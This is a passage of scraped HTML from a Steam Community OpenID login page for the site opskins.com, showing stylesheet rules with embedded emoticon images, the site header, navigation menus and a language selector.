MiPiA8eG1wTU06RGVyaXZlZEZyb20gc3RSZWY6aW5zdGFuY2VJRD0ieG1wLmlpZDpDRDU0MzUwNDM0NUVFNTExOTQ4NEY2QkZCMzgwMjBBMyIgc3RSZWY6ZG9jdW1lbnRJRD0ieG1wLmRpZDoyMzAyRkRGRkFGMjNFMjExQTExQ0E1RUVDNzk3QzRFRiIvPiA8L3JkZjpEZXNjcmlwdGlvbj4gPC9yZGY6UkRGPiA8L3g6eG1wbWV0YT4gPD94cGFja2V0IGVuZD0iciI/Pkg7SNkAAAKgSURBVHjatFftcdswDGV5HsAjqBM0mSDKBFUmqDVBkt/+EefO/m1nAqkTxJnA6gRRJrA6QdkJWjL36HtFKeorxh3Osk2BjwAeAH5ar9dqgKTQK6tzqxf43VitrTZW36zu8dwpy+VSzXqsc5vdWb3Fc9ualL5vrVZWH/EZlS4QbvMHsXkDwz9pgwR6RWC819yae3hqEAi36bM4XWn1KWaM3s0APoGNA4CUoRd04DcX51cC4E7y2WreA4DPj5LeMQBWIEydILwHEnx36K/7JllAHJhLAn8HjYI4EAB3ip2aLg0OUlPSZm0gVkS51viNFCOAFJzsmrL7Fs/7D/JACEhOYd9KEJ6GvPAcUqN2OFn40GuilAIFjUhUx5Q/eGmIOJu/rB4pzApeNgTkHURG8SkDdPUGvg0E4StsIhLRIOQnmxpVTlHtl5lt6P8h8kOEgeXF5+Jms0lmRMmXFnpdYk01EMSKTixB7NnbM6qMdYTnzYREjP33Hm4tYiVFxnOMXEQo29o7FGXuEWX8CPemPTf2jCuIXasxrXyP7E3hkQcou9O0DD4h1+9iIAxRKVRqUwGmy81y8++gvgmE+gSixgZfWgxVxAw/0s0jIGoa90wkXB5ExSAyNK6u+l8FaKZGVNMTaM2FY0DiTZWvHoAddI3GyZqRpXmMJKJXnSj6RLQ8tzcK2UM0Na6GJp/5mQDwIR994mpCdU/U254BANv9p25oUZx2hLj4YAAHGpxuYoMuz5YLlOypockEgP+m91DvyAlIhr6xGMmCZzqIHHZVVwPLaRb0F5cj7gxJj5P79RnlwHVba5/1GEq21De2UD9jOKO/UfLnAXob0H815UJciyaWUd2PVdgGm5eR/tEbhGxiOd22Fc2nDW7pjajAveSvAAMANCO6us8cVJgAAAAASUVORK5CYII=' );
background-repeat: no-repeat;
background-size: 100% 100%;
cursor: pointer;
}
.emoticon_button:hover, .emoticon_button.focus {
background-image: url( 'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACEAAAAhCAYAAABX5MJvAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAA2RpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMC1jMDYwIDYxLjEzNDc3NywgMjAxMC8wMi8xMi0xNzozMjowMCAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtcE1NOk9yaWdpbmFsRG9jdW1lbnRJRD0ieG1wLmRpZDoyMzAyRkRGRkFGMjNFMjExQTExQ0E1RUVDNzk3QzRFRiIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDoxQjU1MUI0MDYwOTMxMUU1OTUyMjlCQ0MwQTgyRDc5MCIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDoxQjU1MUIzRjYwOTMxMUU1OTUyMjlCQ0MwQTgyRDc5MCIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgQ1M1IFdpbmRvd3MiPiA8eG1wTU06RGVyaXZlZEZyb20gc3RSZWY6aW5zdGFuY2VJRD0ieG1wLmlpZDpDRDU0MzUwNDM0NUVFNTExOTQ4NEY2QkZCMzgwMjBBMyIgc3RSZWY6ZG9jdW1lbnRJRD0ieG1wLmRpZDoyMzAyRkRGRkFGMjNFMjExQTExQ0E1RUVDNzk3QzRFRiIvPiA8L3JkZjpEZXNjcmlwdGlvbj4gPC9yZGY6UkRGPiA8L3g6eG1wbWV0YT4gPD94cGFja2V0IGVuZD0iciI/Pp+wFVoAAAI+SURBVHjavFiBcYMwDHS4DOARvEHZIGSCskEZgU5QOkGuE9BOQDtB2glIJ4BOAJ2AyncyJ1Tj2AlEd3+kYMvvty3J3QzDIAIsQewAEhDj+x5wArSAb8A7/vYzTeIMJKAAdEOYHQGJh3+xOaNEDnjCWRvTM/wE/OBTm0LsUClqus0jKhWkhMSZUCsBsadyGaAhfTt8Z+1jexkzB5qM8pHVgowt48GHhGQE8gsHp9ATqF0+eQfaOFuAAJ0c9Z3OkSgWVsBFpMO/JyQUWbtqBQJ0v9GNPiFR2hiuBKq4MiQkUaFwSBi6R1L027Cj/W88c4wmzAgSdlRDSNA4wydnlNcERYRRTpDYL1h07Mn3EPsiv3nfj0mkJYwLxzlPrtiIc1F2PK5i7uzeAGavFRGRqLdIquVKxXUWz7wfx4scnTNAA6jwWVgy5JxJJF8Cap0nsb/VdCo3uXxPUrNxVDkGPs2ol8y03bP2R2z7vMUPEqXncu2x4QM+lYfMfPA3wKuF8Ohriw31AHczjj6JQqakkw4SJ1Lu9Y7lUqN/zPFj4LgRaICUEQscibiN3U9UQ2YNz2wrQvGaxXzIyYdkZRJHnrFtZV29YjrPbIUTT73DissSkxReu2rMw0pEKIGOlwy2DiUhUi2wNCkjEPvcOziR7sLKW+EkBhcBFwleC5pglntchFI2CbMH4kvvojo0HyxBrEXoYPOLIV9a2umw/eLKoL63clNrlgE3c6OaXOJW7vofhSD1aYu3dHNjb0Mc/gkwADlAbL3OpPROAAAAAElFTkSuQmCC' );
}
.emoticon_button.small {
height: 22px;
width: 22px;
vertical-align: middle;
}
.emoticon_popup_ctn {
position: absolute;
}
.emoticon_popup {
background-color: #3b3938;
padding: 8px;
box-shadow: 0 0 12px #000000;
}
.emoticon_popup_content {
max-height: 96px;
max-width: 352px;
overflow-y: auto;
}
.large .emoticon_popup_content {
max-height: 200px;
max-width: 352px;
}
.large .emoticon_popup_content .emoticon_option {
width: 60px;
height: 60px;
margin: 10px;
}
img.emoticon {
vertical-align: text-bottom;
height: 18px;
width: 18px;
}
.emoticon_popup_content .emoticon_option {
width: 28px;
margin: 2px;
text-align: center;
line-height: 18px;
height: 18px;
padding: 5px 0;
float: left;
}
.emoticon_popup_content .emoticon_option:hover {
background-color: #201f1d;
cursor: pointer;
}
.economyitem_hover {
position: absolute;
top: 0;
left: 0;
z-index: 1200;
}
.economyitem_hover_content {
width: 350px;
margin: 12px;
box-shadow: 0 0 12px #000000;
}
.tooltip_hint {
cursor: default;
font-size: 12px;
font-style: normal;
color: #686868;
}
.community_tooltip {
background: #c2c2c2;
color: #3d3d3f;
font-size: 11px;
border-radius: 3px;
padding: 5px;
max-width: 225px;
white-space: normal;
box-shadow: 0 0 3px #000000;
}
/* formatting help dialog */
.tagrow {
margin-bottom: 8px;
padding: 0 4px;
position: relative;
font-size: 12px;
}
.tagrow.tagrow_header {
background-color: #1E1E1F;
color: #626467;
line-height: 18px;
}
.tagrow .tag {
color: #cccccc;
}
.tagsyntax {
float: left;
width: 57%;
margin-left: 1%;
margin-right: 3%;
}
.tagexample {
float: left;
width: 38%;
}
.tagexample a {
text-decoration: underline;
}
.tagexample a:hover {
color: #ffffff;
}
@media screen and (max-width: 910px)
{
html.responsive .maincontent {
width: auto;
margin-left: 1%;
margin-right: 1%;
}
html.responsive .emoticon_popup_ctn {
position: fixed;
left: 5px;
right: 5px;
bottom: 5px;
overflow-y: auto;
z-index: 20;
height: 176px;
max-height: 40%;
}
html.responsive .emoticon_popup_content {
max-width: none;
max-height: none;
}
/* 16px font size prevents iphone from zooming */
html.responsive .gray_bevel input,
html.responsive .gray_bevel textarea {
font-size: 16px;
}
}
@media screen and (max-width: 910px)
{
html.responsive textarea.commentthread_textarea {
font-size: 16px;
}
}
html.responsive.touch textarea.commentthread_textarea {
font-size: 16px;
}
/* styles that hide things on non-migrated pages */
.responsive_menu_only {
display: none;
}
.nonresponsive_hidden {
display: none;
}
#tabs_baseline {
clear:left;
}
.responsive_tab_baseline {
background-color: #417B9C;
max-width: 958px;
height: 5px;
}
.responsive_tab_ctn.sharedfiles_responsive_tab {
text-align: center;
}
.responsive_tab_ctn.sharedfiles_responsive_tab .responsive_tab_control {
display: inline-block;
padding: 6px 8px;
font-size: 16px;
color: #ffffff;
background: #57749e; /* Old browsers */
background: -webkit-linear-gradient( top, #66C0F4 5%, #417B9C 95%);background: linear-gradient( to bottom, #66C0F4 5%, #417B9C 95%);}
@media screen and (max-width: 480px)
{
html.responsive .responsive_tab_ctn.sharedfiles_responsive_tab .responsive_tab_control
{
display: block;
text-align: center;
}
html.responsive .responsive_tab_ctn.sharedfiles_responsive_tab .responsive_tab_control select {
width: 98%;
}
html.responsive div.responsive_tab_baseline,
html.responsive div.responsive_tab_baseline.nonresponsive_hidden {
display: none;
}
}
img.badge_icon {
width: 80px;
height: 80px;
}
img.badge_icon.small {
width: 54px;
height: 54px;
}
</style>
<meta property="fb:app_id" content="105386699540688">
<link rel="image_src" href="https://steamcommunity-a.akamaihd.net/public/shared/images/responsive/share_steam_logo.png">
<meta property="og:image" content="https://steamcommunity-a.akamaihd.net/public/shared/images/responsive/share_steam_logo.png">
<meta property="og:image:secure" content="https://steamcommunity-a.akamaihd.net/public/shared/images/responsive/share_steam_logo.png">
</head>
<body class="responsive_page">
<div class="responsive_page_frame with_header">
<div class="responsive_page_menu_ctn mainmenu">
<div class="responsive_page_menu" id="responsive_page_menu">
<div class="mainmenu_contents">
<div class="mainmenu_contents_items">
<a class="menuitem" href="https://steamcommunity.com/login/home/?goto=openid%2Flogin%3Fopenid.ns%3Dhttp%253A%252F%252Fspecs.openid.net%252Fauth%252F2.0%26openid.mode%3Dcheckid_setup%26openid.return_to%3Dhttps%253A%252F%252Fopskins.com%252F%253Floc%253Dlogin_migrate%2526content_only%253D1%26openid.realm%3Dhttps%253A%252F%252Fopskins.com%26openid.identity%3Dhttp%253A%252F%252Fspecs.openid.net%252Fauth%252F2.0%252Fidentifier_select%26openid.claimed_id%3Dhttp%253A%252F%252Fspecs.openid.net%252Fauth%252F2.0%252Fidentifier_select">
Login </a>
<a class="menuitem supernav" href="https://store.steampowered.com/" data-tooltip-type="selector" data-tooltip-content=".submenu_store">
Store </a>
<div class="submenu_store" style="display: none;" data-submenuid="store">
<a class="submenuitem" href="https://store.steampowered.com/">Featured</a>
<a class="submenuitem" href="https://store.steampowered.com/explore/">Explore</a>
<a class="submenuitem" href="https://store.steampowered.com/curators/">Curators</a>
<a class="submenuitem" href="https://steamcommunity.com/my/wishlist/">Wishlist</a>
<a class="submenuitem" href="https://store.steampowered.com/news/">News</a>
<a class="submenuitem" href="https://store.steampowered.com/stats/">Stats</a>
</div>
<a class="menuitem supernav" style="display: block" href="https://steamcommunity.com/" data-tooltip-type="selector" data-tooltip-content=".submenu_community">
Community </a>
<div class="submenu_community" style="display: none;" data-submenuid="community">
<a class="submenuitem" href="https://steamcommunity.com/">Home</a>
<a class="submenuitem" href="https://steamcommunity.com/discussions/">Discussions</a>
<a class="submenuitem" href="https://steamcommunity.com/workshop/">Workshop</a>
<a class="submenuitem" href="https://steamcommunity.com/market/">Market</a>
<a class="submenuitem" href="https://steamcommunity.com/?subsection=broadcasts">Broadcasts</a>
</div>
<a class="menuitem" href="https://help.steampowered.com/en/">
Support </a>
<div class="minor_menu_items">
<div class="menuitem change_language_action">
Change language </div>
<div class="menuitem" onclick="Responsive_RequestDesktopView();">
View desktop website </div>
</div>
</div>
<div class="mainmenu_footer_spacer"></div>
<div class="mainmenu_footer">
<div class="mainmenu_footer_logo"><img src="https://steamcommunity-a.akamaihd.net/public/shared/images/responsive/logo_valve_footer.png"></div>
© Valve Corporation. All rights reserved. All trademarks are property of their respective owners in the US and other countries. <span class="mainmenu_valve_links">
<a href="https://store.steampowered.com/privacy_agreement/" target="_blank">Privacy Policy</a>
| <a href="http://www.valvesoftware.com/legal.htm" target="_blank">Legal</a>
| <a href="https://store.steampowered.com/subscriber_agreement/" target="_blank">Steam Subscriber Agreement</a>
| <a href="https://store.steampowered.com/steam_refunds/" target="_blank">Refunds</a>
</span>
</div>
</div>
</div>
</div>
<div class="responsive_local_menu_tab">
</div>
<div class="responsive_page_menu_ctn localmenu">
<div class="responsive_page_menu" id="responsive_page_local_menu">
<div class="localmenu_content">
</div>
</div>
</div>
<div class="responsive_header">
<div class="responsive_header_content">
<div id="responsive_menu_logo">
<img src="https://steamcommunity-a.akamaihd.net/public/shared/images/responsive/header_menu_hamburger.png" height="100%">
</div>
<div class="responsive_header_logo">
<img src="https://steamcommunity-a.akamaihd.net/public/shared/images/responsive/header_logo.png" height="36" border="0" alt="STEAM">
</div>
</div>
</div>
<div class="responsive_page_content_overlay">
</div>
<div class="responsive_fixonscroll_ctn nonresponsive_hidden ">
</div>
<div class="responsive_page_content">
<div id="global_header">
<div class="content">
<div style="float: left;
padding-top: 30px;
margin-right: 40px;
width: 176px;
height: 44px;">
<span id="logo_holder">
<a href="https://steamcommunity.com/" onclick="return false;">
<img src="https://steamcommunity-a.akamaihd.net/public/shared/images/header/globalheader_logo.png?t=962016" width="176" height="44">
</a>
</span>
<!--[if lt IE k7]>
<style type="text/css">
#logo_holder img { filter:progid:DXImageTransform.Microsoft.Alpha(opacity=0); }
#logo_holder { display: inline-block; width: 176px; height: 44px; filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='https://steamcommunity-a.akamaihd.net/public/images/v5/globalheader_logo.png'); }
</style>
<![endif]-->
</div>
<div class="supernav_container">
<a class="menuitem supernav" href="https://store.steampowered.com/" target="_blank" data-tooltip-type="selector" data-tooltip-content=".submenu_store">
STORE </a>
<div class="submenu_store" style="display: none;" data-submenuid="store">
<a class="submenuitem" href="https://steamcommunity.com/featured" target="_blank">Featured</a>
<a class="submenuitem" href="https://steamcommunity.com/explore" target="_blank">Explore</a>
<a class="submenuitem" href="https://steamcommunity.com/curators" target="_blank">Curators</a>
<a class="submenuitem" href="https://steamcommunity.com/wishlist" target="_blank">Wishlist</a>
<a class="submenuitem" href="https://steamcommunity.com/news" target="_blank">News</a>
<a class="submenuitem" href="https://steamcommunity.com/stats" target="_blank">Stats</a>
</div>
<a class="menuitem supernav" style="display: block" href="https://steamcommunity.com/" data-tooltip-type="selector" target="_blank" data-tooltip-content=".submenu_community" >
COMMUNITY </a>
<div class="submenu_community" style="display: none;" data-submenuid="community">
<a class="submenuitem" href="https://steamcommunity.com/" target="_blank">Home</a>
<a class="submenuitem" href="https://steamcommunity.com/discussions/" target="_blank">Discussions</a>
<a class="submenuitem" href="https://steamcommunity.com/workshop/" target="_blank">Workshop</a>
<a class="submenuitem" href="https://steamcommunity.com/market/" target="_blank">Market</a>
<a class="submenuitem" href="https://steamcommunity.com/?subsection=broadcasts" target="_blank">Broadcasts</a>
</div>
<a class="menuitem" href="https://store.steampowered.com/about/" target="_blank">
ABOUT </a>
<a class="menuitem" href="https://help.steampowered.com/en/" target="_blank">
SUPPORT </a>
</div>
<script type="text/javascript">
jQuery(function($) {
$('.tooltip').v_tooltip();
$('#global_header .supernav').v_tooltip({'location':'bottom', 'tooltipClass': 'supernav_content', 'offsetY':-4, 'offsetX': 1, 'horizontalSnap': 4, 'tooltipParent': '#global_header .supernav_container', 'correctForScreenSize': false});
});
</script>
<div id="global_actions">
<div id="global_action_menu">
<div class="header_installsteam_btn header_installsteam_btn_green">
<div class="header_installsteam_btn_leftcap"></div>
<div class="header_installsteam_btn_rightcap"></div>
<a class="header_installsteam_btn_content" href="https://store.steampowered.com/about/" target="_blank">
Install Steam </a>
</div>
<a class="global_action_link" href="https://steamcommunity.com/login/home/?goto=openid%2Flogin%3Fopenid.ns%3Dhttp%253A%252F%252Fspecs.openid.net%252Fauth%252F2.0%26openid.mode%3Dcheckid_setup%26openid.return_to%3Dhttps%253A%252F%252Fopskins.com%252F%253Floc%253Dlogin_migrate%2526content_only%253D1%26openid.realm%3Dhttps%253A%252F%252Fopskins.com%26openid.identity%3Dhttp%253A%252F%252Fspecs.openid.net%252Fauth%252F2.0%252Fidentifier_select%26openid.claimed_id%3Dhttp%253A%252F%252Fspecs.openid.net%252Fauth%252F2.0%252Fidentifier_select" onclick="location.reload();return false;">login</a>
|
<span class="pulldown global_action_link" id="language_pulldown" onclick="ShowMenu( this, 'language_dropdown', 'right' );">language</span>
<div class="popup_block_new" id="language_dropdown" style="display: none;">
<div class="popup_body popup_menu">
<a class="popup_menu_item tight" href="?l=bulgarian&openid_ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0&openid_mode=checkid_setup&openid_return_to=https%3A%2F%2Fopskins.com%2F%3Floc%3Dlogin_migrate%26content_only%3D1&openid_realm=https%3A%2F%2Fopskins.com&openid_identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid_claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select" onclick="ChangeLanguage( 'bulgarian' ); return false;">Български (Bulgarian)</a>
<a class="popup_menu_item tight" href="?l=czech&openid_ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0&openid_mode=checkid_setup&openid_return_to=https%3A%2F%2Fopskins.com%2F%3Floc%3Dlogin_migrate%26content_only%3D1&openid_realm=https%3A%2F%2Fopskins.com&openid_identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid_claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select" onclick="ChangeLanguage( 'czech' ); return false;">čeština (Czech)</a>
<a class="popup_menu_item tight" href="?l=danish&openid_ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0&openid_mode=checkid_setup&openid_return_to=https%3A%2F%2Fopskins.com%2F%3Floc%3Dlogin_migrate%26content_only%3D1&openid_realm=https%3A%2F%2Fopskins.com&openid_identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid_claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select" onclick="ChangeLanguage( 'danish' ); return false;">Dansk (Danish)</a>
<a class="popup_menu_item tight" href="?l=dutch&openid_ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0&openid_mode=checkid_setup&openid_return_to=https%3A%2F%2Fopskins.com%2F%3Floc%3Dlogin_migrate%26content_only%3D1&openid_realm=https%3A%2F%2Fopskins.com&openid_identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid_claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select" onclick="ChangeLanguage( 'dutch' ); return false;">Nederlands (Dutch)</a>
<a class="popup_menu_item tight" href="?l=finnish&openid_ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0&openid_mode=checkid_setup&openid_return_to=https%3A%2F%2Fopskins.com%2F%3Floc%3Dlogin_migrate%26content_only%3D1&openid_realm=https%3A%2F%2Fopskins.com&openid_identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid_claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select" onclick="ChangeLanguage( 'finnish' ); return false;">Suomi (Finnish)</a>
<a class="popup_menu_item tight" href="?l=french&openid_ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0&openid_mode=checkid_setup&openid_return_to=https%3A%2F%2Fopskins.com%2F%3Floc%3Dlogin_migrate%26content_only%3D1&openid_realm=https%3A%2F%2Fopskins.com&openid_identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid_claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select" onclick="ChangeLanguage( 'french' ); return false;">Français (French)</a>
<a class="popup_menu_item tight" href="?l=german&openid_ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0&openid_mode=checkid_setup&openid_return_to=https%3A%2F%2Fopskins.com%2F%3Floc%3Dlogin_migrate%26content_only%3D1&openid_realm=https%3A%2F%2Fopskins.com&openid_identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid_claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select" onclick="ChangeLanguage( 'german' ); return false;">Deutsch (German)</a>
<a class="popup_menu_item tight" href="?l=greek&openid_ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0&openid_mode=checkid_setup&openid_return_to=https%3A%2F%2Fopskins.com%2F%3Floc%3Dlogin_migrate%26content_only%3D1&openid_realm=https%3A%2F%2Fopskins.com&openid_identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid_claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select" onclick="ChangeLanguage( 'greek' ); return false;">Ελληνικά (Greek)</a>
<a class="popup_menu_item tight" href="?l=hungarian&openid_ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0&openid_mode=checkid_setup&openid_return_to=https%3A%2F%2Fopskins.com%2F%3Floc%3Dlogin_migrate%26content_only%3D1&openid_realm=https%3A%2F%2Fopskins.com&openid_identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid_claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select" onclick="ChangeLanguage( 'hungarian' ); return false;">Magyar (Hungarian)</a>
<a class="popup_menu_item tight" href="?l=italian&openid_ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0&openid_mode=checkid_setup&openid_return_to=https%3A%2F%2Fopskins.com%2F%3Floc%3Dlogin_migrate%26content_only%3D1&openid_realm=https%3A%2F%2Fopskins.com&openid_identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid_claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select" onclick="ChangeLanguage( 'italian' ); return false;">Italiano (Italian)</a>
<a class="popup_menu_item tight" href="?l=japanese&openid_ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0&openid_mode=checkid_setup&openid_return_to=https%3A%2F%2Fopskins.com%2F%3Floc%3Dlogin_migrate%26content_only%3D1&openid_realm=https%3A%2F%2Fopskins.com&openid_identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid_claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select" onclick="ChangeLanguage( 'japanese' ); return false;">日本語 (Japanese)</a>
<a class="popup_menu_item tight" href="?l=koreana&openid_ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0&openid_mode=checkid_setup&openid_return_to=https%3A%2F%2Fopskins.com%2F%3Floc%3Dlogin_migrate%26content_only%3D1&openid_realm=https%3A%2F%2Fopskins.com&openid_identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid_claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select" onclick="ChangeLanguage( 'koreana' ); return false;">한국어 (Korean)</a>
<a class="popup_menu_item tight" href="?l=norwegian&openid_ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0&openid_mode=checkid_setup&openid_return_to=https%3A%2F%2Fopskins.com%2F%3Floc%3Dlogin_migrate%26content_only%3D1&openid_realm=https%3A%2F%2Fopskins.com&openid_identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid_claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select" onclick="ChangeLanguage( 'norwegian' ); return false;">Norsk (Norwegian)</a>
<a class="popup_menu_item tight" href="?l=polish&openid_ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0&openid_mode=checkid_setup&openid_return_to=https%3A%2F%2Fopskins.com%2F%3Floc%3Dlogin_migrate%26content_only%3D1&openid_realm=https%3A%2F%2Fopskins.com&openid_identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid_claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select" onclick="ChangeLanguage( 'polish' ); return false;">Polski (Polish)</a>
<a class="popup_menu_item tight" href="?l=portuguese&openid_ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0&openid_mode=checkid_setup&openid_return_to=https%3A%2F%2Fopskins.com%2F%3Floc%3Dlogin_migrate%26content_only%3D1&openid_realm=https%3A%2F%2Fopskins.com&openid_identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid_claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select" onclick="ChangeLanguage( 'portuguese' ); return false;">Português (Portuguese)</a>
<a class="popup_menu_item tight" href="?l=brazilian&openid_ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0&openid_mode=checkid_setup&openid_return_to=https%3A%2F%2Fopskins.com%2F%3Floc%3Dlogin_migrate%26content_only%3D1&openid_realm=https%3A%2F%2Fopskins.com&openid_identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid_claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select" onclick="ChangeLanguage( 'brazilian' ); return false;">Português-Brasil (Portuguese-Brazil)</a>
<a class="popup_menu_item tight" href="?l=romanian&openid_ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0&openid_mode=checkid_setup&openid_return_to=https%3A%2F%2Fopskins.com%2F%3Floc%3Dlogin_migrate%26content_only%3D1&openid_realm=https%3A%2F%2Fopskins.com&openid_identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid_claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select" onclick="ChangeLanguage( 'romanian' ); return false;">Română (Romanian)</a>
<a class="popup_menu_item tight" href="?l=russian&openid_ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0&openid_mode=checkid_setup&openid_return_to=https%3A%2F%2Fopskins.com%2F%3Floc%3Dlogin_migrate%26content_only%3D1&openid_realm=https%3A%2F%2Fopskins.com&openid_identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid_claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select" onclick="ChangeLanguage( 'russian' ); return false;">Русский (Russian)</a>
<a class="popup_menu_item tight" href="?l=schinese&openid_ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0&openid_mode=checkid_setup&openid_return_to=https%3A%2F%2Fopskins.com%2F%3Floc%3Dlogin_migrate%26content_only%3D1&openid_realm=https%3A%2F%2Fopskins.com&openid_identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid_claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select" onclick="ChangeLanguage( 'schinese' ); return false;">简体中文 (Simplified Chinese)</a>
<a class="popup_menu_item tight" href="?l=spanish&openid_ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0&openid_mode=checkid_setup&openid_return_to=https%3A%2F%2Fopskins.com%2F%3Floc%3Dlogin_migrate%26content_only%3D1&openid_realm=https%3A%2F%2Fopskins.com&openid_identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid_claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select" onclick="ChangeLanguage( 'spanish' ); return false;">Español (Spanish)</a>
<a class="popup_menu_item tight" href="?l=swedish&openid_ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0&openid_mode=checkid_setup&openid_return_to=https%3A%2F%2Fopskins.com%2F%3Floc%3Dlogin_migrate%26content_only%3D1&openid_realm=https%3A%2F%2Fopskins.com&openid_identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid_claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select" onclick="ChangeLanguage( 'swedish' ); return false;">Svenska (Swedish)</a>
